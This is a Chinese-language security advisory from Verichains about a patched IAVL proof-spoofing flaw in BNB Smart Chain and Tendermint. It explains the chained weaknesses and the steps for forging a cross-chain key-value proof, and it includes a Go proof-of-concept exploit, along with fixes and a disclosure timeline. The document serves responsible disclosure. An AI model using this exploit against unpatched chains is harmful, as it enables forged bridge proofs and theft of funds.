该公告重点介绍了 Verichains 在BNB链和 Tendermint 代码库中发现的多个漏洞所引发的严重 IAVL 欺骗攻击。
攻击者可能会发起 IAVL 欺骗攻击,通过利用本公告中描述的弱点链,导致与之前的黑客攻击类似的重大资金损失。我们私下向BNB Chain披露了该问题,并于当天迅速修复了该问题。由于这一努力,没有发生恶意利用,也没有损失资金。
概括
BNB Smart Chain (BSC) 实现了许多专用的内置系统机制来辅助跨链桥接。为了确保链间提交的 Merkle 证明有效,BSC 使用了一些来自 Tendermint 和 Cosmos 的 IAVL + Merkle Tree 实现。 IAVL Tree 用于证明或反驳跨链交易和相应有效负载哈希的存在。
2022 年 10 月 6 日,由于代码中 IAVL 的 RangeProof 验证漏洞, BNB Chain 的跨链桥被利用非法发行 200 万枚BNB,价值约 5.66 亿美元。
2022 年 10 月 11 日,Verichains 在 BSC 和 Tendermint (`ValueOp`) 的 `merkle.SimpleValueOp` 中发现了一个新的严重问题。在验证输入的键值对后,这个“ProofOp”可能会输出一个零根哈希。在 BSC 中,攻击者可以通过在 BSC 链刚刚建立时在 BC 高度使用多存储证明来欺骗轻客户端接受任何子存储(在我们的例子中是 `ibc` 子存储)的任意键值对已部署(因此 IBC 子存储根哈希为零)。
我们私下向BNB Chain披露了该问题,并于当天迅速修复了该问题。由于这一努力,没有发生恶意利用,也没有损失资金。
由于此公告强调了在 Tendermint 中发现的安全问题,我们决定按照我们的漏洞披露政策等待 120 天,然后再与VSA-2022-100一起向公众发布。我们敦促所有仍在使用 Tendermint 的 IAVL 证明验证的项目采取必要措施来保护其资产并降低被利用的风险。
分析
导致这种攻击的代码库中有几个弱点:
唯一使用的证明结构是“[ProofOpIAVLValue, ProofOpMultiStore]”。但是,这种结构并没有强制执行,因为对“ProofOps”列表的长度和每个“ProofOp”的类型没有限制。未使用的 `ProofOp` 类型,例如 `ProofOpSimpleValue` 也在运行时注册:
func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return }在多存储证明中,CommitID 中子存储的根哈希允许为 nil(它只是一个 Golang 字节片)。空子商店的哈希值不应为 nil,因为定义无哈希值始终是一个好习惯:
type CommitID struct { Version int64 Hash []byte }在验证输入键值对后,`ProofOpSimpleValue` 返回一个零根哈希,而不是在意外输入时引发错误(例如,树的节点数为负数)。这类似于VSA-2022-100中报告的 Tendermint 中的“ProofOpValue”错误:
func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte { if index >= total || index < 0 || total <= 0 { return nil }结合这些弱点来诱骗轻客户端接受任何子存储(在我们的例子中是 `ibc` 子存储)的任意键值对是很简单的:
在子存储为空(其根哈希为 nil)的高度找到有效证明。
保持 multistore 证明部分不变。
将 `ProofOpIAVLValue` 替换为 `ProofOpSimpleValue`,其中 `SimpleProof.LeafHash` 是我们选择的键值对的哈希值,`SimpleProof.Total` 为 -1。
开发
这是一个演示攻击的 PoC:
package main import ( "bytes" "encoding/hex" "github.com/ethereum/go-ethereum/core/vm/lightclient" goanimo "github.com/tendermint/go-amino" "github.com/tendermint/tendermint/crypto/merkle" "github.com/tendermint/tendermint/crypto/tmhash" "log" ) func main() { // multistore proof at BC height 110000000 // at that height ibc hash should be nil height := 110000000 inputHex := "" input, err := hex.DecodeString(inputHex) if err != nil { panic(err) } op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input}) if err != nil { panic(err) } appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash() log.Printf("expected appHash at %d (maybe +1, not sure): %s \n ", height, hex.EncodeToString(appHash)) // fake key-value pair and its hash key := []byte{0x13, 0x37} value := []byte{0x13, 0x37} vhash := tmhash.Sum(value) bz := new(bytes.Buffer) _ = goanimo.EncodeByteSlice(bz, key) // does not error _ = goanimo.EncodeByteSlice(bz, vhash) kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes() ... )) // this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height. op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{ LeafHash: kvhash, Total: -1, }) fakeKVMP := lightclient.KeyValueMerkleProof{ Key: key, Value: value, StoreName: "ibc", AppHash: appHash, Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}}, } // should be evaluated to true log.Println(fakeKVMP.Validate()) }受影响的产品
BNB链(2022 年 10 月 11 日提交0278f6876e9077d050b518a502442875ae0ccb0c之前的所有版本)
建议
不要在函数“DefaultProofRuntime”中为“ProofOpSimpleValue”和“ProofOpIAVLAbsence”注册解码器,因为它们未被使用。根据其在“ProofOps”证明列表中的索引检查每个“ProofOp”的类型也很好。
考虑为一个空的子商店定义一个散列(可能会导致不兼容)。
我们建议练习安全编码,在使用输入之前进行完整性检查,这样用户无论如何使用第三方代码都不会被利用。
致谢
我们感谢BNB Chain 安全和开发团队迅速努力解决BNB Chain 代码库中发现的漏洞。
时间线
2022 年 10 月 11 日:私下向BNB Chain 团队汇报
2022 年 10 月 11 日: BNB Chain 开发团队发布补丁修复问题( https://github.com/bnb-chain/bsc/pull/1121/commits/0278f6876e9077d050b518a 502442875ae0ccb0c )
2023 年 2 月 28 日:公开发布
==============
关于 Verichains
自 2017 年以来,Verichains 一直是亚太地区先驱和领先的区块链安全公司,在安全、密码学和核心区块链技术方面拥有广泛的专业知识。超过 200 家客户委托我们保护 500 亿美元的资产,其中包括BNB Chain、Klaytn、Wemix、 多链、Line Corp、Axie Infinity、Ronin Network 和 Kyber Network 等知名客户。
我们世界一流的安全和密码学研究团队在第 1 层协议、加密库、网桥和智能合约中发现了多个漏洞。我们也很自豪能够成为帮助调查、根本原因分析和解决全球最大的两个加密黑客攻击的安全问题的公司: BNB Chain Bridge 和 Ronin Bridge (Sky Mavis)。
随着对区块链技术的深入研发,Verichains提供区块链协议和智能合约安全审计、移动应用保护、密钥管理解决方案、链上风险监控、红队/渗透测试等区块链安全服务。
主页:https: //www.verichains.io
邮箱:info@verichains.io
推特:https: //twitter.com/Verichains
领英:https: //www.linkedin.com/company/verichains
脸书:https: //facebook.com/verichains
电报:https: //t.me/+Y29xcaxJLJxjNDVl





